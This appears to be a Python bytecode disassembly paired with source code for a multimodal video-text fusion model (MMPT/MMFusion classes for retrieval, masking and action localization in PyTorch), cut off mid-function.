LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST cmasks LOAD_FAST vfeats LOAD_METHOD view LOAD_CONST -1 LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 2 CALL_METHOD LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 3 CALL_METHOD CALL_METHOD STORE_FAST vfeats LOAD_FAST vmasks LOAD_METHOD view LOAD_CONST -1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST vmasks LOAD_FAST attention_mask LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST attention_mask LOAD_METHOD view LOAD_CONST -1 LOAD_FAST attention_mask LOAD_METHOD size LOAD_CONST 2 CALL_METHOD LOAD_FAST attention_mask LOAD_METHOD size LOAD_CONST 3 CALL_METHOD CALL_METHOD JUMP_FORWARD to 116 LOAD_CONST None STORE_FAST attention_mask LOAD_CONST True STORE_FAST output_hidden_states LOAD_FAST self LOAD_METHOD _mm_on_the_fly LOAD_FAST cmasks LOAD_FAST vmasks LOAD_FAST attention_mask CALL_METHOD UNPACK_SEQUENCE STORE_FAST attention_mask STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST caps LOAD_FAST vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_FAST output_hidden_states LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST logits LOAD_CONST 'logits' LOAD_FAST logits LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_MAP RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionActionLocalization' STORE_NAME __qualname__ LOAD_CONST 'fine-tuning model for retrival task.' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8af11f1150, file "f.py", line 611> LOAD_CONST 'MMFusionActionLocalization.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None,) LOAD_CONST <code object forward at 0x7f8af11f1db0, file "f.py", line 618> LOAD_CONST 'MMFusionActionLocalization.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST config CALL_METHOD POP_TOP LOAD_GLOBAL AutoTokenizer LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST tokenizer LOAD_FAST tokenizer LOAD_ATTR cls_token_id LOAD_FAST self STORE_ATTR cls_token_id LOAD_FAST tokenizer LOAD_ATTR sep_token_id LOAD_FAST self STORE_ATTR sep_token_id LOAD_FAST tokenizer LOAD_ATTR pad_token_id LOAD_FAST self STORE_ATTR pad_token_id LOAD_CONST None RETURN_VALUE LOAD_FAST caps LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST caps LOAD_FAST cmasks LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST cmasks LOAD_FAST vfeats LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST vfeats LOAD_FAST vmasks LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST vmasks LOAD_FAST attention_mask LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST attention_mask LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD JUMP_FORWARD to 60 LOAD_CONST None STORE_FAST attention_mask LOAD_CONST True STORE_FAST output_hidden_states LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST caps LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST -1 CALL_METHOD BUILD_TUPLE LOAD_FAST vfeats LOAD_ATTR device LOAD_FAST vfeats LOAD_ATTR dtype LOAD_CONST ('device', 'dtype') CALL_FUNCTION STORE_FAST dummy_vfeats LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST caps LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST vfeats LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION STORE_FAST dummy_vmasks LOAD_GLOBAL torch LOAD_METHOD LongTensor LOAD_FAST self LOAD_ATTR cls_token_id LOAD_FAST self LOAD_ATTR sep_token_id LOAD_FAST self LOAD_ATTR pad_token_id LOAD_FAST self LOAD_ATTR sep_token_id BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to LOAD_FAST caps LOAD_ATTR device CALL_METHOD LOAD_METHOD repeat LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST dummy_caps LOAD_GLOBAL torch LOAD_METHOD BoolTensor LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to LOAD_FAST caps LOAD_ATTR device CALL_METHOD LOAD_METHOD repeat LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST dummy_cmasks LOAD_FAST self LOAD_METHOD _mm_on_the_fly LOAD_FAST dummy_cmasks LOAD_FAST vmasks LOAD_CONST None CALL_METHOD UNPACK_SEQUENCE STORE_FAST attention_mask STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST dummy_caps LOAD_FAST vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_FAST output_hidden_states LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST self LOAD_ATTR last_iso_layer LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR last_iso_layer JUMP_FORWARD to 286 LOAD_FAST self LOAD_ATTR num_hidden_layers STORE_FAST layer_idx LOAD_FAST outputs LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST layer_idx BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD masked_select LOAD_FAST vmasks LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD CALL_METHOD LOAD_METHOD view LOAD_CONST -1 LOAD_FAST self LOAD_ATTR hidden_size CALL_METHOD STORE_FAST video_seq LOAD_FAST self LOAD_METHOD _mm_on_the_fly LOAD_FAST cmasks LOAD_FAST dummy_vmasks LOAD_CONST None CALL_METHOD UNPACK_SEQUENCE STORE_FAST attention_mask STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST caps LOAD_FAST dummy_vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_FAST output_hidden_states LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST self LOAD_METHOD _pooling_vt_layer LOAD_FAST outputs LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST cmasks LOAD_FAST dummy_vmasks CALL_METHOD UNPACK_SEQUENCE STORE_FAST _ STORE_FAST pooled_text LOAD_GLOBAL torch LOAD_METHOD mm LOAD_FAST video_seq LOAD_FAST pooled_text LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 0 CALL_METHOD CALL_METHOD STORE_FAST logits LOAD_CONST 'logits' LOAD_FAST logits BUILD_MAP RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionSeparateActionSegmentation' STORE_NAME __qualname__ LOAD_CONST 'Fine-tuning wrapper for action segmentation.' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_CONST <code object forward at 0x7f8af11f1930, file "f.py", line 694> LOAD_CONST 'MMFusionSeparateActionSegmentation.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE LOAD_FAST caps LOAD_METHOD view LOAD_CONST -1 LOAD_FAST caps LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST caps LOAD_FAST cmasks LOAD_METHOD view LOAD_CONST -1 LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST cmasks LOAD_FAST vfeats LOAD_METHOD view LOAD_CONST -1 LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 2 CALL_METHOD LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 3 CALL_METHOD CALL_METHOD STORE_FAST vfeats LOAD_FAST vmasks LOAD_METHOD view LOAD_CONST -1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST vmasks LOAD_FAST self LOAD_ATTR forward_video LOAD_FAST vfeats LOAD_FAST vmasks LOAD_FAST caps LOAD_FAST cmasks LOAD_CONST True LOAD_CONST ('output_hidden_states',) CALL_FUNCTION STORE_FAST logits LOAD_CONST 'logits' LOAD_FAST logits LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_MAP RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionSeparateActionLocalization' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8aefa24db0, file "f.py", line 706> LOAD_CONST 'MMFusionSeparateActionLocalization.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7f8aefa248a0, file "f.py", line 713> LOAD_CONST 'MMFusionSeparateActionLocalization.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST config CALL_METHOD POP_TOP LOAD_GLOBAL AutoTokenizer LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST tokenizer LOAD_FAST tokenizer LOAD_ATTR cls_token_id LOAD_FAST self STORE_ATTR cls_token_id LOAD_FAST tokenizer LOAD_ATTR sep_token_id LOAD_FAST self STORE_ATTR sep_token_id LOAD_FAST tokenizer LOAD_ATTR pad_token_id LOAD_FAST self STORE_ATTR pad_token_id LOAD_CONST None RETURN_VALUE LOAD_FAST caps LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST caps LOAD_FAST cmasks LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST cmasks LOAD_FAST vfeats LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST vfeats LOAD_FAST vmasks LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST vmasks LOAD_GLOBAL torch LOAD_METHOD LongTensor LOAD_FAST self LOAD_ATTR cls_token_id LOAD_FAST self LOAD_ATTR sep_token_id LOAD_FAST self LOAD_ATTR pad_token_id LOAD_FAST self LOAD_ATTR sep_token_id BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to LOAD_FAST caps LOAD_ATTR device CALL_METHOD LOAD_METHOD repeat LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST dummy_caps LOAD_GLOBAL torch LOAD_METHOD BoolTensor LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to LOAD_FAST caps LOAD_ATTR device CALL_METHOD LOAD_METHOD repeat LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST dummy_cmasks LOAD_FAST self LOAD_ATTR forward_video LOAD_FAST vfeats LOAD_FAST vmasks LOAD_FAST dummy_caps LOAD_FAST dummy_cmasks LOAD_CONST True LOAD_CONST ('output_hidden_states',) CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD masked_select LOAD_FAST vmasks LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD CALL_METHOD LOAD_METHOD view LOAD_CONST -1 LOAD_FAST self LOAD_ATTR hidden_size CALL_METHOD STORE_FAST video_seq LOAD_FAST self LOAD_ATTR forward_text LOAD_FAST caps LOAD_FAST cmasks LOAD_CONST False LOAD_CONST ('output_hidden_states',) CALL_FUNCTION STORE_FAST pooled_text LOAD_GLOBAL torch LOAD_METHOD mm LOAD_FAST video_seq LOAD_FAST pooled_text LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 0 CALL_METHOD CALL_METHOD STORE_FAST logits LOAD_CONST 'logits' LOAD_FAST logits BUILD_MAP RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionShareActionLocalization' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8aefa24390, file "f.py", line 756> LOAD_CONST 'MMFusionShareActionLocalization.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7f8aefa244b0, file "f.py", line 763> LOAD_CONST 'MMFusionShareActionLocalization.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST config CALL_METHOD POP_TOP LOAD_GLOBAL AutoTokenizer LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST tokenizer LOAD_FAST tokenizer LOAD_ATTR cls_token_id LOAD_FAST self STORE_ATTR cls_token_id LOAD_FAST tokenizer LOAD_ATTR sep_token_id LOAD_FAST self STORE_ATTR sep_token_id LOAD_FAST tokenizer LOAD_ATTR pad_token_id LOAD_FAST self STORE_ATTR pad_token_id LOAD_CONST None RETURN_VALUE LOAD_FAST caps LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST caps LOAD_FAST cmasks LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST cmasks LOAD_FAST vfeats LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST vfeats LOAD_FAST vmasks LOAD_METHOD squeeze LOAD_CONST 0 CALL_METHOD STORE_FAST vmasks LOAD_GLOBAL torch LOAD_METHOD LongTensor LOAD_FAST self LOAD_ATTR cls_token_id LOAD_FAST self LOAD_ATTR sep_token_id LOAD_FAST self LOAD_ATTR pad_token_id LOAD_FAST self LOAD_ATTR sep_token_id BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to LOAD_FAST caps LOAD_ATTR device CALL_METHOD LOAD_METHOD repeat LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST dummy_caps LOAD_GLOBAL torch LOAD_METHOD BoolTensor LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_METHOD to LOAD_FAST caps LOAD_ATTR device CALL_METHOD LOAD_METHOD repeat LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST dummy_cmasks LOAD_FAST self LOAD_ATTR forward_video LOAD_FAST vfeats LOAD_FAST vmasks LOAD_FAST dummy_caps LOAD_FAST dummy_cmasks LOAD_CONST True LOAD_CONST ('output_hidden_states',) CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_ADD BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD masked_select LOAD_FAST vmasks LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD CALL_METHOD LOAD_METHOD view LOAD_CONST -1 LOAD_FAST self LOAD_ATTR hidden_size CALL_METHOD STORE_FAST video_seq LOAD_FAST self LOAD_ATTR forward_text LOAD_FAST caps LOAD_FAST cmasks LOAD_CONST False LOAD_CONST ('output_hidden_states',) CALL_FUNCTION STORE_FAST pooled_text LOAD_GLOBAL torch LOAD_METHOD mm LOAD_FAST video_seq LOAD_FAST pooled_text LOAD_METHOD transpose LOAD_CONST 1 LOAD_CONST 0 CALL_METHOD CALL_METHOD STORE_FAST logits LOAD_CONST 'logits' LOAD_FAST logits BUILD_MAP RETURN_VALUE
import torch from torch import nn try: from transformers import AutoConfig, AutoTokenizer except ImportError: pass from . import transformermodel class MMPTModel(nn.Module): """An e2e wrapper of inference model.""" @classmethod def from_pretrained(cls, config, checkpoint="checkpoint_best.pt"): import os from ..utils import recursive_config from ..tasks import Task config = recursive_config(config) mmtask = Task.config_task(config) checkpoint_path = os.path.join(config.eval.save_path, checkpoint) mmtask.build_model(checkpoint=checkpoint_path) from ..processors.models.s3dg import S3D video_encoder = S3D("pretrained_models/s3d_dict.npy", 512) video_encoder.load_state_dict(torch.load("pretrained_models/s3d_howto100m.pth")) from transformers import AutoTokenizer tokenizer = AutoTokenizer.from_pretrained( config.dataset.bert_name, use_fast=config.dataset.use_fast ) from ..processors import Aligner aligner = Aligner(config.dataset) return (MMPTModel(config, mmtask.model, video_encoder), tokenizer, aligner) def __init__(self, config, model, video_encoder, **kwargs): super().__init__() self.max_video_len = config.dataset.max_video_len self.video_encoder = video_encoder self.model = model def forward(self, video_frames, caps, cmasks, return_score=False): bsz = video_frames.size(0) assert bsz == 1, "only bsz=1 is supported now." seq_len = video_frames.size(1) video_frames = video_frames.view(-1, *video_frames.size()[2:]) vfeats = self.video_encoder(video_frames.permute(0, 4, 1, 2, 3)) vfeats = vfeats["video_embedding"] vfeats = vfeats.view(bsz, seq_len, vfeats.size(-1)) padding = torch.zeros(bsz, self.max_video_len - seq_len, vfeats.size(-1)) vfeats = torch.cat([vfeats, padding], dim=1) vmasks = torch.cat( [ torch.ones((bsz, seq_len), dtype=torch.bool), torch.zeros((bsz, self.max_video_len - seq_len), dtype=torch.bool), ], dim=1, ) output = self.model(caps, cmasks, vfeats, vmasks) if return_score: output = { "score": torch.bmm( output["pooled_video"][:, None, :], output["pooled_text"][:, :, None], ) .squeeze(-1) .squeeze(-1) } return output class MMFusion(nn.Module): """a MMPT wrapper class for MMBert style models. TODO: move isolated mask to a subclass. """ def __init__(self, config, **kwargs): super().__init__() transformer_config = AutoConfig.from_pretrained(config.dataset.bert_name) self.hidden_size = transformer_config.hidden_size self.is_train = False if config.dataset.train_path is not None: self.is_train = True self.num_hidden_layers = transformer_config.num_hidden_layers self.last_iso_layer = 0 if config.dataset.num_iso_layer is not None: self.last_iso_layer = config.dataset.num_iso_layer - 1 + 1 if config.model.mm_encoder_cls is not None: mm_encoder_cls = getattr(transformermodel, config.model.mm_encoder_cls) model_config = AutoConfig.from_pretrained(config.dataset.bert_name) model_config.max_video_len = config.dataset.max_video_len model_config.use_seg_emb = config.model.use_seg_emb self.mm_encoder = mm_encoder_cls.from_pretrained( config.dataset.bert_name, config=model_config ) elif ( config.model.video_encoder_cls is not None and config.model.text_encoder_cls is not None ): video_encoder_cls = getattr( transformermodel, config.model.video_encoder_cls ) model_config = AutoConfig.from_pretrained(config.dataset.bert_name) model_config.max_video_len = config.dataset.max_video_len if hasattr(model_config, "num_layers"): model_config.num_layers = config.model.num_hidden_video_layers else: model_config.num_hidden_layers = config.model.num_hidden_video_layers self.video_encoder = video_encoder_cls.from_pretrained( config.dataset.bert_name, config=model_config ) text_encoder_cls = getattr(transformermodel, config.model.text_encoder_cls) self.text_encoder = text_encoder_cls.from_pretrained( config.dataset.bert_name ) else: raise ValueError("the encoder must be either MM or two backbones.") def forward(self, caps, cmasks, vfeats, vmasks, **kwargs): raise NotImplementedError("Please derive MMFusion module.") def _mm_on_the_fly(self, cmasks, vmasks, attention_mask): """helper function for mask, seg_ids and token_type_ids.""" if attention_mask is None: attention_mask = self._mm_attention_mask(cmasks, vmasks) """ 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 | first sequence | second sequence | """ token_type_ids = torch.cat( [ torch.zeros( (vmasks.size(0), vmasks.size(1) + 2), dtype=torch.long, device=vmasks.device, ), torch.ones( (cmasks.size(0), cmasks.size(1) - 2), dtype=torch.long, device=cmasks.device, ), ], dim=1, ) return attention_mask, token_type_ids def _mm_attention_mask(self, cmasks, vmasks): assert cmasks.size(0) == vmasks.size(0), "{}, {}, {}, {}".format( str(cmasks.size()), str(vmasks.size()), str(cmasks.size(0)), str(vmasks.size(0)), ) mm_mask = torch.cat([cmasks[:, :1], vmasks, cmasks[:, 1:]], dim=1) if self.last_iso_layer == 0: return mm_mask else: batch_size = cmasks.size(0) iso_mask = self._make_iso_mask(batch_size, cmasks, vmasks) mm_mask = mm_mask[:, None, :].repeat(1, mm_mask.size(-1), 1) iso_mm_masks = [] iso_mask = iso_mask[:, None, :, :].repeat(1, self.last_iso_layer, 1, 1) iso_mm_masks.append(iso_mask) if self.last_iso_layer < self.num_hidden_layers: mm_mask = mm_mask[:, None, :, :].repeat( 1, self.num_hidden_layers - self.last_iso_layer, 1, 1 ) iso_mm_masks.append(mm_mask) iso_mm_masks = torch.cat(iso_mm_masks, dim=1) return iso_mm_masks def _make_iso_mask(self, batch_size, cmasks, vmasks): cls_self_mask = torch.cat( [ torch.ones((batch_size, 1), dtype=torch.bool, device=cmasks.device), torch.zeros( (batch_size, cmasks.size(1) + vmasks.size(1) - 1), dtype=torch.bool, device=cmasks.device, ), ], dim=1, ) iso_video_mask = torch.cat( [ torch.zeros((batch_size, 1), dtype=torch.bool, device=cmasks.device), vmasks, cmasks[:, 1:2], torch.zeros( (batch_size, cmasks.size(1) - 2), dtype=torch.bool, device=cmasks.device, ), ], dim=1, ) iso_text_mask = torch.cat( [ torch.zeros( (batch_size, 2 + vmasks.size(1)), dtype=torch.bool, device=cmasks.device, ), # [CLS] is not used. cmasks[:, 2:], # assume to be 1. ], dim=1, ) cls_self_mask = cls_self_mask[:, None, :] iso_video_mask = iso_video_mask[:, None, :].repeat(1, vmasks.size(1) + 1, 1) iso_text_mask = iso_text_mask[:, None, :].repeat(1, cmasks.size(1) - 2, 1) return torch.cat([cls_self_mask, iso_video_mask, iso_text_mask], dim=1) def _pooling_vt_layer(self, layered_sequence_output, cmasks, vmasks): layer_idx = ( self.last_iso_layer if self.last_iso_layer > 0 else self.num_hidden_layers ) hidden_state = layered_sequence_output[layer_idx] batch_size = cmasks.size(0) text_offset = vmasks.size(1) + 2 # [CLS] + [SEP] video_outputs = hidden_state[:, 1:text_offset] video_attention_mask = torch.cat( [ vmasks, torch.ones((batch_size, 1), dtype=torch.bool, device=vmasks.device), ], dim=1, ) assert video_outputs.size(1) == video_attention_mask.size(1) pooled_video = torch.sum( video_outputs * video_attention_mask.unsqueeze(-1), dim=1 ) / video_attention_mask.sum(1, keepdim=True) text_attention_mask = cmasks[:, 2:] text_outputs = hidden_state[:, text_offset:] assert text_outputs.size(1) == text_attention_mask.size(1) pooled_text = torch.sum( text_outputs * text_attention_mask.unsqueeze(-1), dim=1 ) / text_attention_mask.sum(1, keepdim=True) return pooled_video, pooled_text class MMFusionMFMMLM(MMFusion): """forward function for MFM and MLM.""" def forward( self, caps, cmasks, vfeats, vmasks, attention_mask=None, video_label=None, text_label=None, **kwargs ): output_hidden_states = False if self.is_train else True target_vfeats, non_masked_frame_mask = None, None if video_label is not None: target_vfeats = vfeats.masked_select(video_label.unsqueeze(-1)).view( -1, vfeats.size(-1) ) vfeats[video_label] = 0.0 non_masked_frame_mask = vmasks.clone() non_masked_frame_mask[video_label] = False attention_mask, token_type_ids = self._mm_on_the_fly( cmasks, vmasks, attention_mask ) outputs = self.mm_encoder( input_ids=caps, input_video_embeds=vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, masked_frame_labels=video_label, target_video_hidden_states=target_vfeats, non_masked_frame_mask=non_masked_frame_mask, masked_lm_labels=text_label, output_hidden_states=output_hidden_states, ) video_logits, text_logits = outputs[0], outputs[1] if self.is_train: # return earlier for training. return { "video_logits": video_logits, "text_logits": text_logits, } pooled_video, pooled_text = self._pooling_vt_layer(outputs[2], cmasks, vmasks) return {"pooled_video": pooled_video, "pooled_text": pooled_text} class MMFusionMTM(MMFusionMFMMLM): def __init__(self, config, **kwargs): super().__init__(config) """ For reproducibility: self.mm_encoder will be initialized then discarded. """ from .transformermodel import MMBertForMTM model_config = AutoConfig.from_pretrained(config.dataset.bert_name) model_config.max_video_len = config.dataset.max_video_len model_config.use_seg_emb = config.model.use_seg_emb self.mm_encoder = MMBertForMTM.from_pretrained( config.dataset.bert_name, config=model_config ) class MMFusionShare(MMFusion): """A retrival wrapper using mm_encoder as both video/text backbone. TODO: move formally. """ def forward( self, caps, cmasks, vfeats, vmasks, attention_mask=None, video_label=None, text_label=None, output_hidden_states=False, **kwargs ): pooled_video = self.forward_video( vfeats, vmasks, caps, cmasks, output_hidden_states ) pooled_text = self.forward_text(caps, cmasks, output_hidden_states) return {"pooled_video": pooled_video, "pooled_text": pooled_text} def forward_video( self, vfeats, vmasks, caps, cmasks, output_hidden_states=False, **kwargs ): input_ids = caps[:, :2] attention_mask = torch.cat([cmasks[:, :1], vmasks, cmasks[:, 1:2]], dim=1) token_type_ids = torch.zeros( (vmasks.size(0), vmasks.size(1) + 2), dtype=torch.long, device=vmasks.device ) outputs = self.mm_encoder( input_ids=input_ids, input_video_embeds=vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=True, ) video_outputs = outputs[0] if output_hidden_states: return video_outputs batch_size = cmasks.size(0) video_attention_mask = torch.cat( [ torch.zeros((batch_size, 1), dtype=torch.bool, device=vmasks.device), vmasks, torch.ones((batch_size, 1), dtype=torch.bool, device=vmasks.device), ], dim=1, ) assert video_outputs.size(1) == video_attention_mask.size(1) video_attention_mask = video_attention_mask.type( video_outputs.dtype ) / video_attention_mask.sum(1, keepdim=True) pooled_video = torch.bmm( video_outputs.transpose(2, 1), video_attention_mask.unsqueeze(2) ).squeeze(-1) return pooled_video # video_outputs def forward_text(self, caps, cmasks, output_hidden_states=False, **kwargs): input_ids = torch.cat( [ caps[:, :1], caps[:, 2:], ], dim=1, ) attention_mask = torch.cat([cmasks[:, :1], cmasks[:, 2:]], dim=1) token_type_ids = torch.cat( [ torch.zeros( (cmasks.size(0), 1), dtype=torch.long, device=cmasks.device ), torch.ones( (cmasks.size(0), cmasks.size(1) - 2), dtype=torch.long, device=cmasks.device, ), ], dim=1, ) outputs = self.mm_encoder( input_ids=input_ids, input_video_embeds=None, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=True, ) text_outputs = outputs[0] if output_hidden_states: return text_outputs batch_size = caps.size(0) text_attention_mask = torch.cat( [ torch.zeros((batch_size, 1), dtype=torch.bool, device=cmasks.device), cmasks[:, 2:], ], dim=1, ) assert text_outputs.size(1) == text_attention_mask.size(1) text_attention_mask = text_attention_mask.type( text_outputs.dtype ) / text_attention_mask.sum(1, keepdim=True) pooled_text = torch.bmm( text_outputs.transpose(2, 1), text_attention_mask.unsqueeze(2) ).squeeze(-1) return pooled_text # text_outputs class MMFusionSeparate(MMFusionShare): def forward_video( self, vfeats, vmasks, caps, cmasks, output_hidden_states=False, **kwargs ): input_ids = caps[:, :2] attention_mask = torch.cat([cmasks[:, :1], vmasks, cmasks[:, 1:2]], dim=1) token_type_ids = torch.zeros( (vmasks.size(0), vmasks.size(1) + 2), dtype=torch.long, device=vmasks.device ) outputs = self.video_encoder( input_ids=input_ids, input_video_embeds=vfeats, attention_mask=attention_mask, token_type_ids=token_type_ids, output_hidden_states=True, ) video_outputs = outputs[0] if output_hidden_states: return video_outputs batch_size = cmasks.size(0) video_attention_mask = torch.cat( [ torch.zeros((batch_size, 1), dtype=torch.bool, device=vmasks.device), vmasks, torch.ones((batch_size, 1), dtype=torch.bool, device=vmasks.device), ], dim=1, ) assert video_outputs.size(1) == video_attention_mask.size(1) video_attention_mask = video_attention_mask.type( video_outputs.dtype ) / video_attention_mask.sum(1, keepdim=True) pooled_video = torch.bmm( video_outputs.transpose(2, 1), video_attention_mask.unsqueeze(2) ).squeeze(-1) return pooled_video # video_outputs def forward_text(self, caps, cmasks, output_hidden_states=False, **kwargs): input_ids = torch.cat( [ 